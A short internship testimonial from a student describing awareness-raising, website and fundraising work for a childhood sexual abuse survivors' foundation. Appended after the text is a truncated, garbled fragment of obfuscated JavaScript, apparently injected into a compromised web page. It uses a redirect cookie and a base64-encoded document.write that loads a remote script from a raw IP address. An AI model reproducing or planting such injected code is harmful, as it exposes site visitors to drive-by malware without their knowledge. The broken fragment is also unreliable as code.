Kim, Fall 2012

As a psychology student interested in the effects of trauma, interning at the Let Go… Let Peace Come In Foundation was ideal. Working with Pete, the founder of the organization and a childhood sexual abuse survivor, definitely personalized the whole CSA pandemic. Just like Pete, most of these survivors need trauma therapy to be able to lead healthier lives- mentally, physically, and socially. My role here included raising awareness of CSA and LGLPCI via social networks and news articles, reaching out to survivors, updating the website, and getting donations through our Indiegogo campaign, as well as on the first national #GivingTuesday. LGLPCI serves as the stepping-stone from the lowest point of a survivor’s life to a time of help and hope. It was an honor to work with Pete and Gretchen; I fed off of their compassion for the survivors and dedication to the foundation. I will definitely take what I learned from this experience and use it when I move forward with my schooling and career. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
